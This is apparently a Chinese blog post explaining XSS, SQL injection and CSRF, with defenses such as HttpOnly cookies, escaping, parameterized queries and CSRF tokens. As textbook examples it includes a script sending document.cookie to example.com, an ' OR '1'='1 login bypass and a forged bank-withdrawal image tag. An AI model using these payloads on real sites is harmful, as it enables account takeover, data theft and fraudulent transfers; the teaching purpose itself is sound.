蛮荆

Web 常见的三个安全问题

2023-07-05

概述

这两天在看 Google SRE 这本书, 书中提到了几种常见的安全问题:

图片来源: Google Site Reliability Engineering

本文着重讲一下其中的 XSSSQL 注入CSRF,这三个问题也是 Web 开发中常见的。

跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting, XSS): 攻击者通过在网页中插入恶意代码来利用浏览器的漏洞,代码包括 HTML 和 JavaScript。

攻击原理

例如有一个论坛网站,攻击者可以在上面发布以下内容:

<script>location.href="//example.com/?c=" + document.cookie</script>

如果服务端没有对该内容进行安全过滤,那么发布后内容会被渲染成以下形式:

<p><script>location.href="//example.com/?c=" + document.cookie</script></p>

此时另一个用户浏览了含有这个内容的页面,将会跳转到 example.com 并携带了自己的 Cookie, 如果这个论坛网站恰好通过 Cookie 的方式来管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录当前用户的账号了。

攻击目的

  • 窃取用户的 Cookie
  • 伪造虚假的输入表单窃取用户信息
  • 显示伪造的文章或者图片
  • 使用被攻击者的身份执行一些操作,如: 发通告、加好友、发私信等
  • 通过在访问量大的网站放置 XSS 代码来攻击小型网站

真实案例

笔者在职业生涯早期,曾经遇到过一个真实的跨站脚本攻击案例。当时的背景是开发了一个类似 SAAS 的投票模块,因为每个客户会根据最终的投票结果排名发放对应的奖品, 有个懂技术的用户在个人昵称中添加了一段 js 代码,服务端没有做响应的过滤,造成的结果就是该用户霸榜第一名连续将近 6 小时,后来是业务方反馈到了笔者这边,进行了紧急处理。

如何防护

通过将 Cookie 的 HttpOnly 属性设置为 true, 表示无法通过 document.cookie 获取用户 Cookie 信息,可以在一定程度上防止 JavaScript 代码类型的跨站脚本攻击。

2. 过滤特殊字符

不相信用户的任何输入。

例如将 < 转义为 &lt;,将 > 转义为 &gt;,从而避免 HTML 和 Jascript 代码的运行。

富文本编辑器允许用户输入 HTML 代码,通常采用自定义标签的方式,过滤掉可能会造成攻击性 HTML 代码。例如下面的例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1><p>123</p><form><input type="text" name="q" value="test"></form><pre>hello</pre><script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1><p>123</p>&lt;form&gt;
  &lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

在线测试工具

XSS Scanner - Online Scan for Cross-site Scripting

可以选择单个页面测试,也可以整站测试。

SQL 注入攻击

SQL 注入攻击 是指攻击者在应用程序的数据库查询中注入恶意 SQL 代码,从而执行未经授权的 SQL 语句,造成 SQL 注入的原因是服务端程序没有过滤客户端提交的数据。

攻击原理

例如一个网站登录验证的 SQL 查询代码为:

sql = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下内容:

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

那么 SQL 查询字符串就会变为:

sql = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

等于直接跳过数据库管理员执行了以下查询 (俗称 “脱库”):

sql = "SELECT * FROM users;"

其他 SQL 注入方式和上面的示例类似,都是攻击者通过先猜测对应的服务端 SQL 语句,然后再根据请求数据格式注入对应的代码,读者可以展开 “想象”,充当一回 Hacker, 对自己的项目全面地进行一个 SQL 注入安全检查。

如何防护

1. 使用参数化查询

主流编程语言的标准库、第三方 ORM 框架基本都已经内置了 SQL 参数查询过滤功能,例如 GORM 的写法:

result := db.Where("username = ?", username).First(&user)

2. 单引号转换

将传入的参数中的特殊字符 (如单引号, 双引号, 反斜杠等) 进行转义处理,这样被转移的 SQL 语句执行就会报错,但是在实际开发中, 这种方法很少使用,一般都是使用第一种方法。

在线测试工具

XSS Scanner - Online Scan for Cross-site Scripting

跨站请求伪造

跨站请求伪造(Cross-site request forgery,CSRF)是攻击者诱使用户去访问一个已登陆的网站,并执行一些特定操作(如发邮件、发消息、转账等)。

跨站脚本攻击利用的是用户对指定网站的信任,跨站请求伪造攻击利用的是网站对浏览器的信任。

攻击原理

假如一家银行用以执行转账操作的 URL 地址如下:

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName

那么,一个恶意攻击者可以在一个网站 A 上放置如下代码:

<img src="http://www.examplebank.com/withdraw?account=小明&amount=1000&for=攻击者">。

如果此时有账户名为 小明 的用户访问了网站 A,而他之前刚登陆过银行网站,那么他就会向攻击者转账 1000 元,而他本人还蒙在鼓里尚不知情。

上面的攻击方式是最简单的一种,类似这种恶意的网址可以有很多种形式,藏身于网页中的各个角落 (如按钮、图片、对话框等), 同时,攻击者可以将恶意代码放到其他网站中,例如他可以将代码藏在论坛,博客等任何用户生成内容的网站中, 如果这些被攻击者放置代码的网站服务端没有进行安全过滤,所有访问这些网站的用户都有可能受到攻击,损失金钱。

攻击者并不能通过 跨站请求伪造攻击 来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。本质上,攻击者是通过欺骗用户浏览器来执行特定操作。

防范手段

1. 检查 Referer 首部字段

Referer 首部字段位于 HTTP Header 报文中,用于标识请求的源地址,通过检查这个首部字段,并且要求 请求源地址 和 当前地址 必须在同一个域名下,可以尽可能的防止跨站请求伪造攻击。

该方案实现简单并且效果不错,但是局限性在于其完全依赖浏览器发送的 Referer 字段百分百是正确的, 如果浏览器的内核实现有问题,或者浏览器本身有安全漏洞,都会影响到该字段的正确发送,甚至攻击者可以直接攻击浏览器,强制篡改 Referer 字段值。

限制请求方式

一般情况下,攻击者放置在网站上面的代码,用户点击时都是 GET 请求方式,对于关键操作,可以限制请求方式为 POST、PUT 等,也算一种非常简单实用的防止攻击的方案。

3. 双重身份验证

跨站请求伪造攻击是在用户无意识的情况下发生的,此时可以通过二次验证机制来提醒用户接下来的操作,常见的验证方式有短信验证码、手机令牌、电话密钥等。

4. 添加校验 Token

异或计算性质: 三个值中的任意两个值进行异或计算,都可以得出第三个值。

示例代码: 数字 1, 2, 3 执行异或计算

package main

func main() {
	println(1 ^ 2) // 3
	println(3 ^ 1) // 2
	println(3 ^ 2) // 1
}

利用异或计算性质返回一个 Token

在发送关键数据请求时,服务端可以生成一个 Token 返回给客户端,客户端保存在表单中,并在请求时携带该 Token 和数据一起发送到服务端。

Token 工作流程:

  1. 服务端获取到 持久性密钥 (这个密钥一般是该服务专属并且全局唯一,可能存储在数据库、缓存、配置中心等)
  2. 根据客户端当前请求生成一个 随机字符串 A
  3. 通过计算 (持久性密钥 XOR 随机字符串A) 得出 Token
  4. 将 Token 返回到客户端
  5. 客户端接收到 Token 后保存起来,可以是表单、Cookie 等方式
  6. 客户端再次发起请求时,携带该 Token
  7. 通过计算 (持久性密钥 XOR 客户端 Token) 得出 随机字符串B
  8. 比较 随机字符串 A随机字符串 B 是否相等,如果不相等,说明请求被篡改

其他安全问题

鉴权不当和访问控制不当

确保实现正确的用户校验授权以及操作权限管理,Go 语言可以参考这两个组件 casbin/casbin, golang-jwt/jwt

敏感信息泄漏

采用足够安全的方案保存密码,Go 语言可以参考标准库中的 /crypto/scrypt

不安全的文件上传

服务端没有对上传文件的类型、大小和内容进行验证和过滤,可能会导致恶意文件的上传和执行 (例如攻击者上传恶意 shell、php 文件), 对用户上传的任何文件都要进行检测,此外也可以直接使用云服务商提供的 OSS 安全检测功能。

日志记录和监控不足

  1. 全面记录日志:确保对关键事件和操作进行全面记录,包括用户登录、权限变更、敏感数据访问等
  2. 合理设置日志级别
  3. 及时备份日志文件
  4. 搭建实时监控和警报系统

文章声明

Web 安全测试是一项专业且敏感的活动,需要掌握专业知识和遵守法律法规,本文所有内容仅作为技术描述和演示,错误的使用安全测试技术可能导致违法行为、侵犯隐私、数据泄露等问题。 读者务必确保在合适和合法的环境中进行实践和学习,引起的任何后果请读者自负,本文作者概不负责。

扩展阅读

转载申请

本作品采用 知识共享署名 4.0 国际许可协议 进行许可,转载时请注明原文链接,图片在使用时请保留全部内容,商业转载请联系作者获得授权。